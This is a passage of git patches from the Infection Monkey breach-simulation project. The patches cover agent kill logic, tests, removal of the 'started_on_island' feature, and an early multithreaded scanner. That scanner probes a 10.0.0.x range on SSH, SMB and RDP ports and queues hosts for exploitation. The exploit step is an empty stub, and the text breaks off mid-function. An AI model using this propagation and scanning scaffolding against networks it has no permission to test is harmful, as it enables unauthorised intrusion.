monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError, ParentNotFoundError from monkey_island.cc.models.monkey_ttl import MonkeyTtl logger = logging.getLogger(__name__) @@ -162,3 +162,35 @@ class TestMonkey: cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info() assert cache_info_after_query.hits == 2 + + @pytest.mark.usefixtures("uses_database") + def test_has_parent(self): + monkey_1 = Monkey(guid=str(uuid.uuid4())) + monkey_2 = Monkey(guid=str(uuid.uuid4())) + monkey_1.parent = [[monkey_2.guid]] + monkey_1.save() + assert monkey_1.has_parent() + + @pytest.mark.usefixtures("uses_database") + def test_has_no_parent(self): + monkey_1 = Monkey(guid=str(uuid.uuid4())) + monkey_1.parent = [[monkey_1.guid]] + monkey_1.save() + assert not monkey_1.has_parent() + + @pytest.mark.usefixtures("uses_database") + def test_get_parent(self): + monkey_1 = Monkey(guid=str(uuid.uuid4())) + monkey_2 = Monkey(guid=str(uuid.uuid4())) + monkey_1.parent = [[monkey_2.guid]] + monkey_1.save() + monkey_2.save() + assert monkey_1.get_parent().guid == monkey_2.guid + + @pytest.mark.usefixtures("uses_database") + def test_get_parent_no_parent(self): + monkey_1 = Monkey(guid=str(uuid.uuid4())) + monkey_1.parent = [[monkey_1.guid]] + monkey_1.save() + with pytest.raises(ParentNotFoundError): + monkey_1.get_parent() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py new file mode 100644 index 000000000..389bf3c9c --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py @@ -0,0 +1,101 @@ +import uuid + +import pytest + +from monkey_island.cc.models import Config, Monkey +from monkey_island.cc.models.agent_controls import AgentControls +from monkey_island.cc.services.infection_lifecycle import should_agent_die + + +@pytest.mark.usefixtures("uses_database") +def test_should_agent_die_by_config(monkeypatch): + monkey = Monkey(guid=str(uuid.uuid4())) + monkey.config = Config(alive=False) + monkey.save() + assert should_agent_die(monkey.guid) + + monkeypatch.setattr( + "monkey_island.cc.services.infection_lifecycle._is_monkey_killed_manually", lambda _: False + ) + monkey.config.alive = True + monkey.save() + assert not should_agent_die(monkey.guid) + + +def create_monkey(launch_time): + monkey = Monkey(guid=str(uuid.uuid4())) + monkey.config = Config(alive=True) + monkey.launch_time = launch_time + monkey.save() + return monkey + + +def create_kill_event(event_time): + kill_event = AgentControls(last_stop_all=event_time) + kill_event.save() + return kill_event + + +def create_parent(child_monkey, launch_time): + monkey_parent = Monkey(guid=str(uuid.uuid4())) + child_monkey.parent = [[monkey_parent.guid]] + monkey_parent.launch_time = launch_time + monkey_parent.save() + child_monkey.save() + + +@pytest.mark.usefixtures("uses_database") +def test_was_agent_killed_manually(monkeypatch): + monkey = create_monkey(launch_time=2) + + create_kill_event(event_time=3) + + assert should_agent_die(monkey.guid) + + +@pytest.mark.usefixtures("uses_database") +def test_agent_killed_on_wakeup(monkeypatch): + monkey = create_monkey(launch_time=2) + + create_kill_event(event_time=2) + + assert should_agent_die(monkey.guid) + + +@pytest.mark.usefixtures("uses_database") +def test_manual_kill_dont_affect_new_monkeys(monkeypatch): + monkey = create_monkey(launch_time=3) + + create_kill_event(event_time=2) + + assert not should_agent_die(monkey.guid) + + +@pytest.mark.usefixtures("uses_database") +def test_parent_manually_killed(monkeypatch): + monkey = create_monkey(launch_time=3) + create_parent(child_monkey=monkey, launch_time=1) + + create_kill_event(event_time=2) + + assert should_agent_die(monkey.guid) + + +@pytest.mark.usefixtures("uses_database") +def test_parent_manually_killed_on_wakeup(monkeypatch): + monkey = create_monkey(launch_time=3) + create_parent(child_monkey=monkey, launch_time=2) + + create_kill_event(event_time=2) + + assert should_agent_die(monkey.guid) + + +@pytest.mark.usefixtures("uses_database") +def test_manual_kill_dont_affect_new_monkeys_with_parent(monkeypatch): + monkey = create_monkey(launch_time=3) + create_parent(child_monkey=monkey, launch_time=2) + + create_kill_event(event_time=1) + + assert not should_agent_die(monkey.guid) From 92c0152b4eb79a31e5f6966477dd3dc242afd29b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Dec 2021 14:12:32 +0200 Subject: [PATCH 0102/1110] Island: renamed MONKEY_KILLING_SEMAPHORE to monkey_killing_mutex, because it better represent the purpose and is not a const --- .../cc/resources/agent_controls/stop_all_agents.py | 4 ++-- monkey/monkey_island/cc/resources/monkey.py | 4 ++-- monkey/monkey_island/cc/resources/utils/semaphores.py | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py index 1b41f0cff..a8819243b 100644 --- a/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py +++ b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py @@ -4,14 +4,14 @@ import flask_restful from flask import make_response, request from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.resources.utils.semaphores import AGENT_KILLING_SEMAPHORE +from monkey_island.cc.resources.utils.semaphores import agent_killing_mutex from monkey_island.cc.services.infection_lifecycle import set_stop_all, should_agent_die class StopAllAgents(flask_restful.Resource): @jwt_required def post(self): - with AGENT_KILLING_SEMAPHORE: + with agent_killing_mutex: data = json.loads(request.data) if data["kill_time"]: set_stop_all(data["kill_time"]) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index ffae35fba..ae8493398 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -8,7 +8,7 @@ from flask import request from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore -from monkey_island.cc.resources.utils.semaphores import AGENT_KILLING_SEMAPHORE +from monkey_island.cc.resources.utils.semaphores import agent_killing_mutex from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.edge import EdgeService @@ -67,7 +67,7 @@ class Monkey(flask_restful.Resource): # Called on monkey wakeup to initialize local configuration @TestTelemStore.store_exported_telem def post(self, **kw): - with AGENT_KILLING_SEMAPHORE: + with agent_killing_mutex: monkey_json = json.loads(request.data) monkey_json["creds"] = [] monkey_json["dead"] = False diff --git a/monkey/monkey_island/cc/resources/utils/semaphores.py b/monkey/monkey_island/cc/resources/utils/semaphores.py index 97f36e441..4c9ef5ecc 100644 --- a/monkey/monkey_island/cc/resources/utils/semaphores.py +++ b/monkey/monkey_island/cc/resources/utils/semaphores.py @@ -1,5 +1,5 @@ from gevent.lock import BoundedSemaphore -# Semaphore avoids race condition between monkeys +# Mutex avoids race condition between monkeys # being marked dead and monkey waking up as alive -AGENT_KILLING_SEMAPHORE = BoundedSemaphore() +agent_killing_mutex = BoundedSemaphore() From 8cd8449f12b6598e6033e73b4fff5d56436e4800 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Dec 2021 14:15:39 +0200 Subject: [PATCH 0103/1110] Agent: small logging improvement --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index d6da3390d..a2a6381ad 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -76,7 +76,7 @@ class InfectionMonkey: should_stop = ControlChannel(WormConfiguration.current_server, GUID).should_agent_stop() if should_stop: - logger.info("The Monkey Island has instructed this agent to stop.") + logger.info("The Monkey Island has instructed this agent to stop") return if InfectionMonkey._is_upgrade_to_64_needed(): From 41f6ddb5b55795cef588acddb1b41de3a209606b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 Dec 2021 14:47:22 +0200 Subject: [PATCH 0104/1110] UI: remove the broken "force kill" toggle from UI, also remove the react-toggle component since it's not used anywhere else --- monkey/monkey_island/cc/ui/package-lock.json | 10 +------ monkey/monkey_island/cc/ui/package.json | 1 - .../cc/ui/src/components/Main.tsx | 1 - .../map/preview-pane/PreviewPane.js | 29 ------------------- 4 files changed, 1 insertion(+), 40 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 181110929..67aa66633 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -1,6 +1,6 @@ { "name": "infection-monkey", - "version": "1.11.0", + "version": "1.12.0", "lockfileVersion": 1, "requires": true, "dependencies": { @@ -11270,14 +11270,6 @@ "prop-types": "^15.7.2" } }, - "react-toggle": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.1.2.tgz", - "integrity": "sha512-4Ohw31TuYQdhWfA6qlKafeXx3IOH7t4ZHhmRdwsm1fQREwOBGxJT+I22sgHqR/w8JRdk+AeMCJXPImEFSrNXow==", - "requires": { - "classnames": "^2.2.5" - } - }, "react-tooltip-lite": { "version": "1.12.0", "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.12.0.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index f7c86151b..704bc51f4 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -111,7 +111,6 @@ "react-router-dom": "^5.3.0", "react-spinners": "^0.9.0", "react-table": "^6.10.3", - "react-toggle": "^4.1.2", "react-tooltip-lite": "^1.12.0", "redux": "^4.1.1", "sha3": "^2.1.4", diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index c633e8225..d9dda8e4f 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -20,7 +20,6 @@ import GettingStartedPage from './pages/GettingStartedPage'; import 'normalize.css/normalize.css'; import 'styles/App.css'; -import 'react-toggle/style.css'; import 'react-table/react-table.css'; import LoadingScreen from './ui-components/LoadingScreen'; import SidebarLayoutComponent from "./layouts/SidebarLayoutComponent"; diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index 81e1d3c9d..7e13b30d3 100644 --- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -2,7 +2,6 @@ import React from 'react'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome' import {faHandPointLeft} from '@fortawesome/free-solid-svg-icons/faHandPointLeft' import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons/faQuestionCircle' -import Toggle from 'react-toggle'; import {OverlayTrigger, Tooltip} from 'react-bootstrap'; import download from 'downloadjs' import AuthComponent from '../../AuthComponent'; @@ -67,33 +66,6 @@ class PreviewPaneComponent extends AuthComponent { ); } - forceKill(event, asset) { - let newConfig = asset.config; - newConfig['alive'] = !event.target.checked; - this.authFetch('/api/monkey/' + asset.guid, - { - method: 'PATCH', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify({config: newConfig}) - }); - } - - // TODO remove this - forceKillRow(asset) { - return ( - - - Force Kill  - {this.generateToolTip('If this is on, monkey will die next time it communicates')} - - - this.forceKill(e, asset)}/> - - - - ); - } unescapeLog(st) { return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string. @@ -194,7 +166,6 @@ class PreviewPaneComponent extends AuthComponent { {this.ipsRow(asset)} {this.servicesRow(asset)} {this.accessibleRow(asset)} - {this.forceKillRow(asset)} {this.downloadLogRow(asset)} From 2d73aeaac6074228d03f0a4e91b17356f26f3b32 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 8 Dec 2021 21:17:40 +0530 Subject: [PATCH 0105/1110] Common: Remove STARTED_ON_ISLAND config path constant --- monkey/common/config_value_paths.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/common/config_value_paths.py b/monkey/common/config_value_paths.py index db10fb9e1..c998f44fa 100644 --- a/monkey/common/config_value_paths.py +++ b/monkey/common/config_value_paths.py @@ -1,5 +1,4 @@ AWS_KEYS_PATH = ["internal", "monkey", "aws_keys"] -STARTED_ON_ISLAND_PATH = ["internal", "general", "started_on_island"] EXPORT_MONKEY_TELEMS_PATH = ["internal", "testing", "export_monkey_telems"] CURRENT_SERVER_PATH = ["internal", "island_server", "current_server"] SSH_KEYS_PATH = ["internal", "exploits", "exploit_ssh_keys"] From 71344bcab0e41b11aaa860b9a06118be5773b747 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 8 Dec 2021 21:19:24 +0530 Subject: [PATCH 0106/1110] Agent: Remove started_on_island logic --- monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/control.py | 9 --------- 2 files changed, 10 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8f4984ba6..1b1ab6612 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -112,7 +112,6 @@ class Configuration(object): # depth of propagation depth = 2 max_depth = None - started_on_island = False current_server = "" # Configuration servers to try to connect to, in this order. diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 71e1fb8f0..c4b4b9555 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -401,12 +401,3 @@ class ControlClient(object): ) except requests.exceptions.RequestException: return False - - @staticmethod - def report_start_on_island(): - requests.post( # noqa: DUO123 - f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", - data=json.dumps({"started_on_island": True}), - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) From 9791af1d47834045694f273195d224cb0229fe62 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 8 Dec 2021 21:23:30 +0530 Subject: [PATCH 0107/1110] Island: Remove started_on_island logic --- monkey/monkey_island/cc/app.py | 1 - .../agent_controls/started_on_island.py | 16 ---------------- monkey/monkey_island/cc/services/config.py | 5 ----- .../cc/services/config_schema/internal.py | 7 ------- 4 files changed, 29 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/agent_controls/started_on_island.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index ce223bda4..553803e1e 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -172,7 +172,6 @@ def init_api_resources(api): api.add_resource(PropagationCredentials, "/api/propagation-credentials/") api.add_resource(RemoteRun, "/api/remote-monkey") api.add_resource(VersionUpdate, "/api/version-update") - api.add_resource(StartedOnIsland, "/api/monkey_control/started_on_island") api.add_resource(StopAgentCheck, "/api/monkey_control/needs-to-stop/") api.add_resource(StopAllAgents, "/api/monkey_control/stop-all-agents") api.add_resource(ScoutSuiteAuth, "/api/scoutsuite_auth/") diff --git a/monkey/monkey_island/cc/resources/agent_controls/started_on_island.py b/monkey/monkey_island/cc/resources/agent_controls/started_on_island.py deleted file mode 100644 index f0d7e411f..000000000 --- a/monkey/monkey_island/cc/resources/agent_controls/started_on_island.py +++ /dev/null @@ -1,16 +0,0 @@ -import json - -import flask_restful -from flask import make_response, request - -from monkey_island.cc.services.config import ConfigService - - -class StartedOnIsland(flask_restful.Resource): - - # Used by monkey. can't secure. - def post(self): - data = json.loads(request.data) - if data["started_on_island"]: - ConfigService.set_started_on_island(True) - return make_response({}, 200) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index af9c0a155..1daec8a76 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -15,7 +15,6 @@ from common.config_value_paths import ( PBA_LINUX_FILENAME_PATH, PBA_WINDOWS_FILENAME_PATH, SSH_KEYS_PATH, - STARTED_ON_ISLAND_PATH, USER_LIST_PATH, ) from monkey_island.cc.database import mongo @@ -405,10 +404,6 @@ class ConfigService: def is_test_telem_export_enabled(): return ConfigService.get_config_value(EXPORT_MONKEY_TELEMS_PATH) - @staticmethod - def set_started_on_island(value: bool): - ConfigService.set_config_value(STARTED_ON_ISLAND_PATH, value) - @staticmethod def get_config_propagation_credentials_from_flat_config(config): return { diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 86318eaf1..a145233f9 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -15,13 +15,6 @@ INTERNAL = { "description": "Time to keep tunnel open before going down after last exploit " "(in seconds)", }, - "started_on_island": { - "title": "Started on island", - "type": "boolean", - "default": False, - "description": "Was exploitation started from island" - "(did monkey with max depth ran on island)", - }, }, }, "monkey": { From 9fcca7b9a4296f2a30d7a820b4e7454a0042f7e6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 8 Dec 2021 21:26:09 +0530 Subject: [PATCH 0108/1110] Agent: Remove unused get_hop_distance_to_island function --- monkey/infection_monkey/config.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 1b1ab6612..557ecdf0f 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -231,8 +231,5 @@ class Configuration(object): ########################### export_monkey_telems = False - def get_hop_distance_to_island(self): - return self.max_depth - self.depth - WormConfiguration = Configuration() From 03b7be3be167cc803299149ff81db9d26202078c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 8 Dec 2021 21:31:26 +0530 Subject: [PATCH 0109/1110] UI: Remove started_on_island option from UiSchema --- .../cc/ui/src/components/configuration-components/UiSchema.js | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 36053ef22..cd24fc040 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -117,9 +117,6 @@ export default function UiSchema(props) { other_behaviors : {'ui:widget': 'hidden'} }, internal: { - general: { - started_on_island: {'ui:widget': 'hidden'} - }, classes: { finger_classes: { classNames: 'config-template-no-header', From a91d6e1f05dc90375f954114c12f4746bf46f1a7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 8 Dec 2021 21:33:57 +0530 Subject: [PATCH 0110/1110] UT: Remove started_on_island from sample configs --- monkey/tests/data_for_tests/monkey_configs/flat_config.json | 1 - .../data_for_tests/monkey_configs/monkey_config_standard.json | 3 +-- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 972f9e947..8f024b9b9 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -101,7 +101,6 @@ "skip_exploit_if_file_exist": false, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", - "started_on_island": false, "subnet_scan_list": [], "system_info_collector_classes": [ "AwsCollector", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 112d649d8..ba16a75ae 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -44,8 +44,7 @@ }, "internal": { "general": { - "keep_tunnel_open_time": 60, - "started_on_island": false + "keep_tunnel_open_time": 60 }, "monkey": { "victims_max_find": 100, From 949b0b78b9db0a31687ec10a1b8ffe6277c38a33 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 8 Dec 2021 22:01:40 +0530 Subject: [PATCH 0111/1110] Island: Remove leftover started on island logic after rebase --- monkey/monkey_island/cc/app.py | 6 +----- .../monkey_island/cc/resources/agent_controls/__init__.py | 1 - 2 files changed, 1 insertion(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 553803e1e..e90091168 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -8,11 +8,7 @@ from werkzeug.exceptions import NotFound from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from monkey_island.cc.database import database, mongo -from monkey_island.cc.resources.agent_controls import ( - StartedOnIsland, - StopAgentCheck, - StopAllAgents, -) +from monkey_island.cc.resources.agent_controls import StopAgentCheck, StopAllAgents from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.auth.auth import Authenticate, init_jwt from monkey_island.cc.resources.auth.registration import Registration diff --git a/monkey/monkey_island/cc/resources/agent_controls/__init__.py b/monkey/monkey_island/cc/resources/agent_controls/__init__.py index c4f63322f..211696e4c 100644 --- a/monkey/monkey_island/cc/resources/agent_controls/__init__.py +++ b/monkey/monkey_island/cc/resources/agent_controls/__init__.py @@ -1,3 +1,2 @@ from .stop_all_agents import StopAllAgents -from .started_on_island import StartedOnIsland from .stop_agent_check import StopAgentCheck From 8d325df6d6f0758578f3f73391a1cb5f43f8f482 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 9 Dec 2021 18:17:35 +0200 Subject: [PATCH 0112/1110] Island, UT: fix a bug in "is monkey killed" endpoint The bug happened because by default there's no kill event so kill event time is None --- monkey/monkey_island/cc/services/infection_lifecycle.py | 4 +++- .../monkey_island/cc/services/test_infection_lifecycle.py | 8 ++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index e766d2e14..510e3deb6 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -33,11 +33,13 @@ def _is_monkey_marked_dead(monkey: Monkey) -> bool: def _is_monkey_killed_manually(monkey: Monkey) -> bool: + kill_timestamp = AgentControls.objects.first().last_stop_all + if kill_timestamp is None: + return False if monkey.has_parent(): launch_timestamp = monkey.get_parent().launch_time else: launch_timestamp = monkey.launch_time - kill_timestamp = AgentControls.objects.first().last_stop_all return int(kill_timestamp) >= int(launch_timestamp) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py index 389bf3c9c..4d4c229c8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_infection_lifecycle.py @@ -30,6 +30,14 @@ def create_monkey(launch_time): return monkey +@pytest.mark.usefixtures("uses_database") +def test_should_agent_die_no_kill_event(): + monkey = create_monkey(launch_time=3) + kill_event = AgentControls() + kill_event.save() + assert not should_agent_die(monkey.guid) + + def create_kill_event(event_time): kill_event = AgentControls(last_stop_all=event_time) kill_event.save() From 5724695181d82e5fecf462b88773022f2ca5836d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 13:18:26 -0500 Subject: [PATCH 0113/1110] Agent: Fix incorrect import in ControlChannel --- monkey/infection_monkey/master/control_channel.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 17a2d3287..5fdd03942 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -6,7 +6,7 @@ import requests from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient -from monkey.infection_monkey.i_control_channel import IControlChannel +from infection_monkey.i_control_channel import IControlChannel requests.packages.urllib3.disable_warnings() @@ -23,8 +23,12 @@ class ControlChannel(IControlChannel): logger.error("Agent should stop because it can't connect to the C&C server.") return True try: + url = ( + f"https://{self._control_channel_server}/api/monkey_control" + f"/needs-to-stop/{self._agent_id}" + ) response = requests.get( # noqa: DUO123 - f"https://{self._control_channel_server}/api/monkey_control/needs-to-stop/{self._agent_id}", + url, verify=False, proxies=ControlClient.proxies, timeout=SHORT_REQUEST_TIMEOUT, From 05adf6bae666af5ba38dfa644c5351c612c5c690 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 13:26:05 -0500 Subject: [PATCH 0114/1110] Agent: Implement a preliminary propagation thread in AutomatedMaster --- .../master/automated_master.py | 25 ++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 9c36dc17d..5ad31408c 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -1,6 +1,8 @@ import logging import threading import time +from queue import Queue +from threading import Thread from typing import Any, Callable, Dict, List, Tuple from infection_monkey.i_control_channel import IControlChannel @@ -149,6 +151,27 @@ class AutomatedMaster(IMaster): return True def _propagate(self, config: Dict): + logger.info("Attempting to propagate") + + hosts_to_exploit = Queue() + + scan_thread = _create_daemon_thread(target=self._scan_network) + exploit_thread = _create_daemon_thread( + target=self._exploit_targets, args=(hosts_to_exploit, scan_thread) + ) + + scan_thread.start() + exploit_thread.start() + + scan_thread.join() + exploit_thread.join() + + logger.info("Finished attempting to propagate") + + def _scan_network(self): + pass + + def _exploit_targets(self, hosts_to_exploit: Queue, scan_thread: Thread): pass def _run_payload(self, payload: Tuple[str, Dict]): @@ -175,4 +198,4 @@ class AutomatedMaster(IMaster): def _create_daemon_thread(target: Callable[[Any], None], args: Tuple[Any] = ()): - return threading.Thread(target=target, args=args, daemon=True) + return Thread(target=target, args=args, daemon=True) From 7b40996d6af9ed70d4121948ba074c0b63128c9d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Dec 2021 14:15:41 -0500 Subject: [PATCH 0115/1110] Agent: Implement preliminary network scanning thread --- .../master/automated_master.py | 82 +++++++++++++++++-- 1 file changed, 76 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 5ad31408c..fb97e9978 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -1,4 +1,5 @@ import logging +import queue import threading import time from queue import Queue @@ -7,15 +8,18 @@ from typing import Any, Callable, Dict, List, Tuple from infection_monkey.i_control_channel import IControlChannel from infection_monkey.i_master import IMaster -from infection_monkey.i_puppet import IPuppet +from infection_monkey.i_puppet import IPuppet, PortStatus +from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.utils.timer import Timer CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 CHECK_FOR_TERMINATE_INTERVAL_SEC = CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC / 5 SHUTDOWN_TIMEOUT = 5 +NUM_SCAN_THREADS = 16 # TODO: Adjust this to the optimal number of scan threads logger = logging.getLogger() @@ -109,7 +113,7 @@ class AutomatedMaster(IMaster): # requires the output of PBAs, so we don't need to join on that thread here. We will join on # the PBA thread later in this function to prevent the simulation from ending while PBAs are # still running. - system_info_collector_thread.join() + # system_info_collector_thread.join() if self._can_propagate(): propagation_thread = _create_daemon_thread(target=self._propagate, args=(config,)) @@ -155,7 +159,9 @@ class AutomatedMaster(IMaster): hosts_to_exploit = Queue() - scan_thread = _create_daemon_thread(target=self._scan_network) + scan_thread = _create_daemon_thread( + target=self._scan_network, args=(config, hosts_to_exploit) + ) exploit_thread = _create_daemon_thread( target=self._exploit_targets, args=(hosts_to_exploit, scan_thread) ) @@ -168,12 +174,76 @@ class AutomatedMaster(IMaster): logger.info("Finished attempting to propagate") - def _scan_network(self): - pass - def _exploit_targets(self, hosts_to_exploit: Queue, scan_thread: Thread): pass + # TODO: Refactor this into its own class + def _scan_network(self, scan_config: Dict, hosts_to_exploit: Queue): + logger.info("Starting network scan") + + # TODO: Generate list of IPs to scan + ips_to_scan = Queue() + for i in range(1, 255): + ips_to_scan.put(f"10.0.0.{i}") + + scan_threads = [] + for i in range(0, NUM_SCAN_THREADS): + t = _create_daemon_thread( + target=self._scan_ips, args=(ips_to_scan, scan_config, hosts_to_exploit) + ) + t.start() + scan_threads.append(t) + + for t in scan_threads: + t.join() + + logger.info("Finished network scan") + + def _scan_ips(self, ips_to_scan: Queue, scan_config: Dict, hosts_to_exploit: Queue): + logger.debug(f"Starting scan thread -- Thread ID: {threading.get_ident()}") + try: + while not self._stop.is_set(): + ip = ips_to_scan.get_nowait() + logger.info(f"Scanning {ip}") + + victim_host = VictimHost(ip) + + self._ping_ip(ip, victim_host) + + # TODO: get ports from config + ports = [22, 445, 3389, 8008] + self._scan_tcp_ports(ip, ports, victim_host) + + hosts_to_exploit.put(hosts_to_exploit) + self._telemetry_messenger.send_telemetry(ScanTelem(victim_host)) + + except queue.Empty: + logger.debug( + f"ips_to_scan queue is empty, scanning thread {threading.get_ident()} exiting" + ) + + logger.debug(f"Detected the stop signal, scanning thread {threading.get_ident()} exiting") + + def 